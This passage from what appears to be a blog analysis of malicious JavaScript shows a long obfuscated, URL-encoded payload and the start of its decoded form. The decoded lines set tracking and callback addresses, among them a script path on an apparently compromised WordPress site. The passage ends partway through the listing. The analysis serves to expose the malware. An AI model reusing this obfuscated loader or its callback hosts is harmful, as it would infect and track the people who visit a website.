#006080">'TWS%20eji_oVgnnX_QP%09%093%20jnkH%3B%0D%0AlQY%20aQi_SZgkok_RbYIUU%093%20%27XpjS%3A11J.jRWUXfqkkVq.YSOnyt5xksvsrjZb1TW1uU%2Bxp%27%3B%0D%0AXCi%20Zoc_UUfViR_fBqRkk%093%20%27YspT%3AnnT.ipQWSebeRaS.Xfi8yu83mel2q7vlSRH0g0mw2%27%3B%0D%0ArXi%20ari_VGRfhp_ZDlQVWD%098%20%27Iokl%3A82T.rpEVEfkjjHh.SVdj3fww4ys2z7kFDVuxwj1rs%27%3B%0D%0Am%2Fn%20Knd_nbgfqp_PQCUUZ%092%20%27KjjW%3A2jY.ToRpZflmpIT.Efc7xhrvprd7b6V2Yrx54Jnd2%27%3B%0D%0AlWh%20Mic_YVNkSo_ckXUWZeP%09o%20%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgsv4rm1qsweWcXVz62s%2B%27%3B%0D%0A%0D%0ArET%20Ljc_hQE_ed%09%09%09t%20kPqF%3B%0D%0AqRn%20gjd_kWF_CETUoi%09%09p%20%27Xjag%3Aj7GgpbfjYdnW.EJ2ml-QGcYU2ALBiVhU2ZmZIZ.RYf%3FWSWYeU3QpBoj_WZTVro%27%3B%0D%0AZCT%20aii_bDR_ZHm%2FkO%09%097%20%27Ypqg%3A2%2BbPaHZidUUi.SO2Ul-BYdek2TOWRGNO1edGUn.WYN%3FWDoZkk3jsWXU_LRlWeQ%27%3B%0D%0AlQY%20aQi_MVS_fXmRnbJ%09%09o%20%27Jkjl%3A1oVbfWGoIZio.ZY2vl-EFOZd7S5QdLc87JiUau.gYo%3FWGVKfd8iWQjZ_a%2FrBjWb%27%3B%0D%0AsRi%20ioQ_NCS_bkQGUT%09%09t%20%27YRpQ%3A62bipWhoLGTj.Sd1Zf-QKdGjmXGWkVcW7MPFVn.lXS%3FQSaZMjnnkWqj_cnWHGF%27%3B%0D%0AmQn%20ZVc_bHS_JkBYWWfc%093%20%27gpXR%3An2VhoIYiOVPo.Dc2sm-RUleRnEGQjUON1PeBaY.kYl%3FXTkhkRoUkQpi_OeQKW%2FeM%27%3B%0D%0A%0D%0AqRn%20gjd_kkEFGU%09%09%092%20bQOiU%3B%0D%0AcRP%20fTh_RlmcVs_eRFGo%092%20x%3B%0D%0AlDh%20ZZd_%2FlQgVp_Zflmp%09q%20ecr%3B%0D%0AlWh%20Mic_HgNhFo_gnbWZw%098%20%27E%27%3B%0D%0AXCi%20Zoc_DffSVR_qSg%09%093%20%27dqkg%3A%2B7EFXRdYUGgkHcGpZnpoqVd.bkQnvVj79Hj.fOg%3F%2F8m%27%3B%0D%0A%0D%0AqRn%20gjd_okTWPUUn_kUb%092%20%27OkRl%3Am6TailcZnFQO.Tei1Mi1JcGYLkfl.gj%27%3B%0D%0A%0D%0AWtjGVKfd%20FI2_WUa4NlMZkQOC%28%29%0D%0A%7B%0D%0A%092%2BWPGTk%28Zoc_DffSVR_qSg%201%20fpd_RolPGV_ghaVLn%200%20QjK_WQkcaq_Zecab%20m%20%27.LRh%27%29%3B%0D%0A%09nUWkhU%20aQi_Bkghbk_lqh%20o%20LUd_QlfOUj_WiCbJs%201%20fpd_RolPGV_ZdZUa%200%20%27.ZHi%27%3B%0D%0A%7D%0D%0A%0D%0ADqOXkele%20ARI_GTGRja%2FIhQTV%28QnD%29%0D%0A%7B%0D%0A%09qRn%20fWiZiI%20o%20FfSqcHdj.JiCWUZ8hbdVmp%28%27MHTRca%27%29%3B%0D%0A%09YIhQTV.QnD%207%20jnZ%3B%0D%0A%09ZWqWQG.UkohU.YYiPSGhJop%208%20%27eZUcaR%27%3B%0D%0A%09KHiQiU.VjoSV.BeTkcWv%203%20%27ZmhMPG%27%3B%0D%0A%09ZVnQPU.iapJa.NVicfe%203%20%27z%27%3B%0D%0A%09eJTCdU.ojbbU.WRBZJiX%208%20%27x%27%3B%0D%0A%09ZWqWQG.UkohU.EehKVP%208%20%27Ojea%27%3B%0D%0A%09fWiZiI.UVpba.mLTjO%203%20%27Y%27%3B%0D%0A%09eGmRib.jkxhI.JGZWdj%20p%20%27q%27%3B%0D%0A%09hLkSnO%20dWnXdV%3B%0D%0A%7D%0D%0A%0D%0AeqREVZej%20%3D8C_SYV%2FpFNTnfgk%28rnG%29%0D%0A%7B%0D%0A%09XCi%20iYhLfj%20t%20UMYVhVjq.TidWXGtcUiUQj%28%27iJiGlU%27%29%3B%0D%0A%09nTnfgk.suTG%20o%20%27kUtjoZQcRQYSdgp%27%3B%0D%0A%09pTihlX.UTT%202%20ohF%3B%0D%0A%09hUalPj%20TXiemk%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20cUWNC5%2FRpQMVmrVjs%28%29%20%0D%0A%7B%0D%0A%09eJ%20%28YKeTkm.ACB1kRl5Zhqbjk%29%20qaXWTe%20dam%20ZYdKfU.T0G%2FpqgIdmYGUk%3B%0D%0A%09UhiH%0D%0A%09%7B%0D%0A%09%09jhf%0D%0A%09%09%7B%0D%0A%09%09%09iCpVme%20jbn%204bpMXGOEXZHSj%28%226ZAnPnfbq.ODKD%2B84%22%29%3B%0D%0A%09%09%7D%0D%0A%09%09TQpSK%28Un%29%0D%0A%09%09%7B%0D%0A%09%09%09YVRqSi%20eqic%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_bQIIClPmk%28qoc%29%0D%0A%7B%0D%0A%09mZn%20S6Gh%202%20cUWNC5%2FRpQMVmrVjs%28%29%3B%0D%0A%09eJ%20%28Q6Vg%29%0D%0A%09%7B%0D%0A%09%09kHHg.eUiCWEtjpXkVbdEPIV%202%20bkQSjPfL%20%28%29%0D%0A%09%09%7B%0D%0A%09%09%09eG%20%28jIan.iVZZc7VRja%202p%20u%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09YM%20%28f2aR.nkWqlj%20%2F8%20gcc%29%0D%0A%09%09%09%09%7B%0D%0A%09%09%09%09%0921sYQTed.RJaSo%28%27Wnld%20TZhPDCTa%20%27%206%20e7Ug.YVQlPijaQVos%29%3B%0D%0A%09%09%09%09%7D%0D%0A%09%09%09%7D%0D%0A%09%09%7D%3B%0D%0A%09%0D%0A%09%09k8GS.ffad%28%22w7J%22%2C%20biJ%2C%20pSpV%29%3B%0D%0A%09%09kOVh.raRF%28%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHldYjLed%203Jx_hBWIamfisy%28YTN%29%0D%0A%7B%0D%0A%09mQn%20XK4eKp%20k%20ZPXlibek.akHa%3B%0D%0A%09KW%20%28Xd4RTo%29%0D%0A%09%7B%0D%0A%09%09OYmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRawaiWjV%28lqh%29%2C%20LJqfTu.VLhia6FeMY%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWqkTkhkR%20y7D_SnUDjU2dE%28oSX%29%0D%0A%7B%0D%0A%09mWo%20Zdf%208%20HQElcadW.ShLRRasgVibek%28%27hiK%27%29%3B%0D%0A%09KOX.inS%20p%20ihJ%3B%0D%0A%09iCpVme%20ejX%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_ShLRRa6kRj%28ekdk%29%0D%0A%7B%0D%0A%09rET%20UgQj%202%20GeSbdCjU.XiaXkVDhIOGej%28%27ofDd%27%29%3B%0D%0A%09iWRL.eOiVnEKDK%208%20LVOc%3B%0D%0A%09hajXhd%20Zg%2Fj%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_IVj9fSbUa%2FRiM%28%29%0D%0A%7B%0D%0A%09mVprie%20%27%3CZlTNGk%20dWcH2%22%2A3A8y%C7%C3K%2A%20oolWiZqZ%E7%E3k%20HG%207VWqhDd%E7Q%20wcGmVZ%20Vi%20BO8BQ%2Bp6%20%21%21%22%20TeZUp%22Q.SSRQo%22%20BmTdfmV%2F%22%27%206%20071_XUp3SfbLk5Nz%28%29%205%20%27%3Fi8%27%207%20DRsd.JNQfh%28xqdqqh%201%20%28xWUc.iWkUfl%28%29%2A5nll0z%206%20r%29%29%20n%20%27%22%20mYKkF8%22b%22%20cVedYk%2F%22w%22%20%20WVacU8%22lLiYIZJeUt%3A%20YeaUVm%22%3E%09%09%3ClETCd%20dWcH2%22b%22%20cRJqF7%22Ypqg%3A2%2BoQUHRca.SRc10VR7uZk.leg%3FR%2FfVG.GoU%22%3E%3C7fDhQT%3E%3C2%2FlQgVp%3E%27%3B%0D%0A%7D%0D%0A%0D%0AclebpMQP%20AII_WHj3WgJaUCkii_O%28%29%0D%0A%7B%0D%0A%09idpYTP%20%27%3CRflbHj%20dHdC8%22%2AoO8J%C7%C3L%2A%204ktWPKbR%E7%E3e%20ZU%208UWbi%2Fj%E7B%20%2BcenlV%20di%20v%3Dt6KP37%20%21%21%22%20SeKVk%22W.DgRop%22%20RibdMXG3%22%27%200%20fiP_QfWcCp_Vmc%206%20%27gRmZX.NCT%3Fi2%27%206%20CDjX.McMkS%28wrwxrr%209%20%28IEVJ.iQjTRc%28%29%2Azq0h5k%205%20s%29%29%206%20%27%22%20tZUsdq%22c%22%20JVYcXW2%22q%22%20%20ZkWhF7%22mepZShhMVa%3A%20YYZTHd%22%3E%09%09%3CfHi%2Fi%20OVda9%22c%22%20mZhYGo%22Yjpf%3Ao1iTjDWNZ.Tkj2%2BdppvGk.fdf%3FD2ZYV.CtF%22%3E%3C6gWoRd%3E%3C%2BWTRNVj%3E%27%3B%0D%0A%7D%0D%0A%0D%0AbkQSjPfL%20F6H_fjIfRc%28%29%0D%0A%7B%0D%0A%097pTGgenj%20OeQK%20jSYDZjo%0D%0A%09fW%20%28ari_VGRfhp_eQ%29%20%3DI6_TPaBoVEjX%28ari_VGRfhp_bRQTLU%29%3B%0D%0A%09j7Ja%20%28aoj_cRa_kR%29%20y7D_bWR7UfViR%28fTh_cWY_cfZZIF%29%3B%0D%0A%09KW%20%28Zoc_OQR_Ve%29%20uO0_gRXOVgnnXe%28Ljc_hQE_beHUCZ%29%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_QeBkQG%3DQcR8%28%29%0D%0A%7B%0D%0A%09F6H_TnbRkdEQI%28%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgwv2sg1qsSB3iZRya2s%2B%27%29%3B%0D%0A%7D%0D%0A%0D%0AbYPEkYkd%20zIC_VewkBY9Wfc%28%29%0D%0A%7B%0D%0A%092%2BnIRQij%20heDT%20VHZJ%0D%0A%09eG%20%28eji_oVgnnX_QP%29%20AII_SUUQaVtiH%28eji_oVgnnX_NQRTbQLb%29%3B%0D%0A%091sZD%20%28fTh_cWY_fe%29%20IO3_NCSHafRhj%28QjK_hBW_ckXUWZeP%29%3B%0D%0A%09KH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqpg%28LUd_bWR_OeQKW%2FeM%29%3B%0D%0A%09%0D%0A%09dW%20%28fpd_RolPGV_ZdZUa%20%3C%20ZiT_RNlMZk_Ylles%29%0D%0A%09%7B%0D%0A%09%09fWO_CgfhUW_YdKVV6l%3B%0D%0A%09%0D%0A%09%09qRn%20e5fcu%20q%20FQTkiUQj.RVUW%3B%0D%0A%09%09eG%20%28c5kap%29%0D%0A%09%09%7B%0D%0A%09%09%09mZn%20LVOc%202%20FI2_WUa4NlMZkDqdc%28%29%3B%0D%0A%09%09%09g%2BSFa.ZdoUUj4LWMnF%28EJI_ZiVZpI7RRd%28djPb%29%2C%20XvfBu.Gdioq6YhhH%29%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHWeSpYRd%20%3D%3DD_MjwiZp%28e5fcu%29%0D%0A%7B%0D%0A%09%0D%0A%09pnTVfkhW%20QSJVQo%0D%0A%09Ja%20%28aoj_iVokVV_Qe%29%20%3DOC_FhUHkCENb%28aoj_iVokVV_CTSaiV%29%3B%0D%0A%0911PW%20%28HoN_gRX_le%29%20ARI_PCDIUleUj%28ZZd_JWC_VTYbjj%29%3B%0D%0A%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_QYSHii%29%3B%0D%0A%09%0D%0A%09PW%20%28F%2BPYp%29%0D%0A%09%7B%0D%0A%09%09rXi%20YsiP%20o%20%27%27%3B%0D%0A%09%09%0D%0A%09%09KW%20%28dWlLWQafP.fBqRAkRSkaH%28%29%29%0D%0A%09%09%7B%0D%0A%09%09%09nnaQrQ%20Rd%0D%0A%09%09%09%0D%0A%09%09%09XadJ%208%20xND_cbk4olPGV%2Fjib%28%29%20n%20%27%20%27%200%20%3D%3DD_EaU8gliVkGpQN_%3D%28%29%3B%0D%0A%09%09%09%0D%0A%09%09%0921nUSeha%20a%2FrB%20ZeWYcVc%20WGEGji%0D%0A%09%09%09eV%20%28Mic_YVNkSo_fj%29%20GJD_bnICVV%2FiW%28Mic_YVNkSo_aWsRfm%29%3B%0D%0A%09%09%097pKH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqp%28NUO_cQX_ZDlQVe%29%3B%0D%0A%09%09%09Gb%20%28Knd_hXS_fm%29%20F91_NRRNUSehat%28HoN_gRX_gRmZkR%29%3B%0D%0A%09%09%09%0D%0A%09%09%09JqfTu.YQiUYkmaGjia%28GJD_bnICVVIlQQ%28XjTc%29%2C%20F%2BPYp.bfijs%2FLKNU%29%3B%0D%0A%09%09%7D%0D%0A%09%09UhiH%0D%0A%09%09%7B%0D%0A%09%09%0911QRTW%20PaW%0D%0A%09%09%09%0D%0A%09%09%09ec%20%28kpoaSH%20YZdZeZ.YdUVPSJYkd%20%219%20%27lecaJKPVT%27%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%20%20rYHmfViRsJYkd%209%20nZmZSY.Kedah%3DYTaY%3B%0D%0A%09%09%09%20%20TeFrgkokYdeKJV%203%20medGem.PeLaSCVedYk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%20%0D%0A%09%09%09dhWG%20KW%20%28jufHeV%20KfAqNZep.afTtiIPV8bacHdj%20%21t%20%27lLZFaZjbU%27%20%26%26%20kxlIQH%20UeYkPUda.UMYVhVjq8cdiIPV.TbeUQjMPURd%20%21n%20%27peZbWZmaH%27%20%26%26%20FQTkiUQj.TVTSiFikAiVddjX.ENZUjj%3DYTaY%20%21k%20w%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09WdVsmfissMFVY%202%20ZeFkcLeR.ZPXlibekDhIOGej.YbLUdaNGZUc%3B%0D%0A%09%09%09%09mebngnnXJGZWdj%20p%20TeJlKaOo.UkZlddjXtNVcadW.SbPVLpvZZcek%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09VkoI%0D%0A%09%09%09%7B%0D%0A%09%09%09%09XKVmleUjmPURd%20n%20YfYrdVmp.KGV8bacHdjZ5WPBbEWjV%28%27SnZc%27%29%5Bc%5D.EcYadWMYKkF%3B%0D%0A%09%09%09%09rJZnllikgaMIJk%202%20ZeFkcLeR.cFo8hbdVmpWqaKQcDDcU%28%27IfBu%27%29%5Bb%5D.XcebekGaMIJk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%0D%0A%09%09%0917XWcb%20t%20%27a%2FrB%20dj%20JLK%20VmWFNGU...%27%3B%0D%0A%09%09%09XpcO%202%20%27%3CTPm%20GZn%22spv_iZXgp_GQPk%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20UZop-XcZfj%3A%20GGPkUn%3B%20jRf%3A%20q%3B%20SVDp%3A%20b%3B%20rZZqY%3A%20szz%25%3B%20LGKXXp%3A%20rdt%25%3B%20p-PeBaY%3A%204rwz%3B%20SRbgKTQldZ%3A%20dRdU%22%3E%3CKZT%20eE7%22ouw_cZfdX%22%20UVpba2%22GYiWc%2Fu%3A%20Ojea%3B%20jRifeR%3A%20c%20Cljk%3B%20cDhWPe-RkQ%3A%20wuwmo%3B%20nhZXJ%3A%20irqln%3B%20SQTKZLc%3A%20b%3B%09WfnaVi%3A%2002TZ%20UfbeT%20%23frsitZ%3B%20XPmUao-kfo%3A%20jSPG%3B%20SQYaJhebeB-YPgfn%3A%20tYZsa%3B%20d-KPUUt%3Azdqt%3B%20VmCnGgfs%3A%20Xlkn%3B%20bSPV-WQiYOo%3A%20JHYMiB%3B%20afjq-jZya%3A%20fdRo%3B%20SkbRh%3A%20RSRAg%3B%20UZop-XcZfj%3A%20GGPkUn%3B%22%3E%3C%21--%3CTLl%20iapJan%22oVtq-RchcR%3A%20NGWj%3B%20sYGjX%3A%20or%25%3B%20KWSbZj%3A%20Xlkn%20WYVQ%3B%20SQYaJhebeB-YPgfn%3A%20%23cWW%3B%20akVFGi%3A%20rln%20VebPU%20%23fyixyy%22%3E--%3E%3CaZm%20rpcNG3%22VkdW-mUPXFp%3A%20CjcZ%3B%20cfes-oMbG%3A%20ssln%3B%20FebVi%3A%20%23DbG%3B%20kRZaZef%3A%20xgRZ%20zft%20ySn%20uWo%3B%20%3DWDfXnllec-YSNQi%3A%20%23sxsesr%3B%20aVVp-BgZck%3A%20cVep%22%3ErVGe%E7%E3e%3C7TLl%3E%3CTPm%20QpZgV8%22mRUceRI%3A%20ign%3B%20XQFaWYfSjE-Xfhli%3A%20%23Web%22%3E%3CHKX%20jjubH2%22jLoR-WMdXj%3A%20oZXgp%3B%22%3E%3CE%20UVpba2%22WUna-UCYPmRpffe%3A%20tjHGTcYjU%3B%20FebVi%3A%20%3DhVZ%22%20YnbW3%22iWZCUThefW%3AlePU%28Y%29%22%20kOXceZb3%22ckGWOVdp.WHj7SVKaOo5uFU%28%5C%27oxv_PKIYj%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_HCUU%5C%27%29.ojbbU.KZQlMVp8%5C%27kfed%5C%27%3BZSEWdUjj.JUjycCiFik%2Bv%3DU%28%5C%27wud_NKXXp_SRdj%5C%27%29.ZkWhF.YZomcRx8%5C%27RQPV%5C%27%22%3E8aSKQh%3CsR%3E%3CjZJq%3E%3CUes%20jkxhIo%22RRTZYQW-jVg%3A%20glY%3B%20oVtq-RchcR%3A%20EGejah%22%3E%3CLcW%20TRPcJi%3A%20wlu%3B%20gRcZMPI%3A%20r%22%20inSp%22Xjag%3Aj7Tw.gkpkZlWKG.QiW7texiUsdxH6aWsR.aoc%22%20p%3E%3CnFZl%3E%3CZYY%20ijfcC8%22QVUZfeX%3A%200wTZ%20c%20tvln%20d%3B%20jUek-%2FhJbe%3A%20Ybekdn%3B%20JQPk-maYJXj%3A%20IfJZ%22%3E9jT%EA%20j%E3l%20gfroYK%20yRlW%20eX%20UbL%20VQp%E1%20EZjWYZchpEFQ.%3CSh%207%3E7VjQ%20W%E1XGjB%20kfoplZ%20qaGWTjeo%20gXU%20hLhSaSZd%20mrV%20f%20IWZC%20GjjaZD%20QjPm%2FZP.%3CWi%207%3E%3CYi%202%3E%3CZ%20pETIVj8%22_ROQdR%22%20YPaG7%22Ypqg%3A2%2BsaY.LRlW.SRc1Wk_mNmYfskcfZZp%22%3ErNZgqU%20DgkP%20g%2FnB%20deoqRcZn%20S%20RNlWed%20Ge%20%3DHm%2F.%3C7B%3E%3C6Ues%3E%3C%21--%3C2Uhr%3E--%3E%3CpFKm%3E%3C1ZYY%3E%3C1TPm%3E%27%20i%0D%0A%09%09%09%09%27%27%206%0D%0A%09%09%09%09%27%3CEdm%20ea3%22oxv_JCFV%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20Ujg%3A%20w%3B%20iVWs%3A%20w%3B%20aKFkX%3A%20%27%206%20lLUmWfPpXdUpe%201%20%27gw%3B%20dIKIYj%3A%20%27%206%20lLUmWfPpIZZcek%201%20%27ot%3B%20FCEbWneXdT-JfJkS%3A%20WcWZb%3B%20q-hjHGZ%3A%200qwr%3B%20-Pep-Vg%2FYJop%3A%20w.5%3B%20fgZYMVa%3A%20.zq%3B%20bYOjUY%3A%20RJlIV%28flXTZsuqkc%29%22%3E%3C2Tel%3E%27%3B%0D%0A%09%09%09o%2A%2A1%09%0D%0A%09%09%091siClPmk%20fXmR%20ceWCDcUZ%20QFSUZj%0D%0A%09%09%09Gb%20%28Knd_nbgfqp_SP%29%20yJC_YhHQjL%3DKc%28Knd_nbgfqp_NCXRebV%29%3B%0D%0A%09%09%09o1YM%20%28aQi_MVS_kk%29%20AJL_hED6VfkhW%28ZiT_c%2FX_KVmWlWW%29%3B%0D%0A%09%09%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_ZWlDeVM%29%3B%0D%0A%09%09%09%0D%0A%09%09%09YmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRa6kRj%28ekdk%29%2C%20dsQFp.VehVj5OZJZ%29%3B%0D%0A%09%09%09%09%0D%0A%09%09%09EjTqjVes.cIVtcUiUQj4f%3DB%28%27tZu_cedYk_bkRV%27%29.UkohU.GYiWc%2Fun%27WckZb%27%3B%0D%0A%09%09%09UnYYOGej.cUW7bLdCjU9pEa%28%27opy_hMIJk%27%29.ipoOU.TPjNhBt3%27XifTj%27%3B%0D%0A%09%09%09ZSEWdUjj.JUjycCiFik%2Bv%3DU%28%27wud_HCUU%27%29.ojbbU.KZQlMVp8%27Ycfbg%27%3B%0D%0A%09%09%7D%0D%0A%09%09%0D%0A%09%09LqQUo.edVUha5CbPmV%28FPD_TqaEVGJSnYSj%28ZZd_NkQpeZbi_lqh%29%2C%20LqQUo.bYUijwYGhE%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AaljZkZnj%20071_fd%2FhHQjL%28%29%0D%0A%7B%0D%0A%09ZD%20%28fTh_ckXUVc%29%20nIVWid%3B%09%0D%0A%09%0D%0A%09rQU%20covfBu%20n%20YfYrdVmp.FQFp%3B%0D%0A%09Yb%20%28cb4eKp%29%0D%0A%09%7B%0D%0A%09%09HoN_gfWaVU%20%2F%20pVWG%3B%0D%0A%09%09AII_eQ%2FdPk%28KupjUu%29%3B%0D%0A%09%7D%0D%0A%09bcjd%0D%0A%09%7B%0D%0A%09%09oIV8ZcaeXj%28%22%3D%3DD_MjqmVWqV%28%29%22%2C%20szw%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AJWPTjeeQ%20MYUUMs2ickXU%28W%29%0D%0A%7B%0D%0A%09uWV%20RTVl%208%20mLdTVn.MjMjRZ%3B%0D%0A%09tZecka.QPceWT%20p%20VkUTRePi%28%29%20%7B%20Zb%20%28miVu%29%20lVGX%28%29%3B%20W%28%29%3B%20%7D%0D%0A%7D%0D%0A%0D%0AMedGem8eJkBY%28AOJ_feBnICVV%29%3B%0D%0Aiaj9YcLfSp%28%22xND_kk6idWXG%28%29%22%2C%20jrqw%29%3B%0D%0A1%2A%0D%0APiW%20t%20U_FaY%28%20Y_S21%28%20%3F%3F%20%29%20%29%3B%0D%0AEKLy38EsDfGfCMBu%2Bf8xEPZqDi9g18QcJp2oCxQIJKPuJQTqLfre1qPiDPCs7K9z1e8zJq%3DvJN5e%0D%0AEJEm3pGkDHUYIaEzDKYf4LItPf%2FZDZ%2Bt%2BfwrEfFtPyVQ2LToI6BpDg%3DaK7UbJgLuLvCb2aayCMOr%0D%0A7qtyAOPxKqH1K%2BAbEcUt2p%3DSEHIdUaVhDdTsDsqYDPCfCJFpyf8xQPVrElUc1sTnJp%2BsDA%3DUJNPt%0D%0AIQPrMfva17SvDM7s6a9x1hHyWaTyINpeEJYp3pGjD4VLIdU0DqHs4LttOyKiDc%2Bpx%3D%3DvEiVpDCUc%0D%0A2LLsV6ymDQLWIrTrJjPpL%3DDM2a7yOc%3DZ6aly0OPyKab1V%2BAZEcIo26OeDH%2BNTKViEajy3bAoCf3f%0D%0ACpGdyfLyDvVoDi9g18PoJp2sPQQHJaPuJAPoLfsN3K%2FsDc7t7K9x0e4zK7T0JN5eQZEmCJafDoYZ%0D%0AIaQzPqXt4b5tEPSfDcFp%2BPpfDCBsESVO1L4sIJBoDg%3DaI%2BPuJjPpXvzY2aGyPM%2Fm7qxy1OTxJa41%0D%0AI%2BBMEZgs3pPTDH9cH7YwEqjy3bAvDiCfPZ3cxC4rPPVpEygc1sLmJp2tEAPXJKbtUwQdLfraB7%2Fs%0D%0ACc7p6Kui0u8vJKAlIdtbDG82%0D%0A%2Ao%0D%0A'</span>));</pre>  </div></div></p>
<p><p>I’m not going to bother breaking that up, it is just a mess anyway.&#160; But in the end you get this very well formatted code:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> jsm_report_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> <span style="color: #0000ff">var</span> jsm_report_access = <span style="color: #006080">'http://c.statcounter.com/7397725/0/d06ca43d/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">var</span> jsm_report_javaon = <span style="color: #006080">'http://c.statcounter.com/7397829/0/58cba984/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">var</span> jsm_report_javaoff = <span style="color: #006080">'http://c.statcounter.com/7415811/0/6dbe4166/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">var</span> jsm_report_loaded = <span style="color: #006080">'http://c.statcounter.com/7415805/0/e6b0668f/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> <span style="color: #0000ff">var</span> jsm_report_loadfail = <span style="color: #006080">'http://c.statcounter.com/7415819/0/56a1ce39/1/'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span> <span style="color: #0000ff">var</span> jsm_lab_on = <span style="color: #0000ff">true</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span> <span style="color: #0000ff">var</span> jsm_lab_access = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_access'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span> <span style="color: #0000ff">var</span> jsm_lab_javaon = <span style="color: #006080">'http://flyfishers.ch/wp-admin/cPanelX/index.php?action=stats_javaon'</span>;</pre></p>
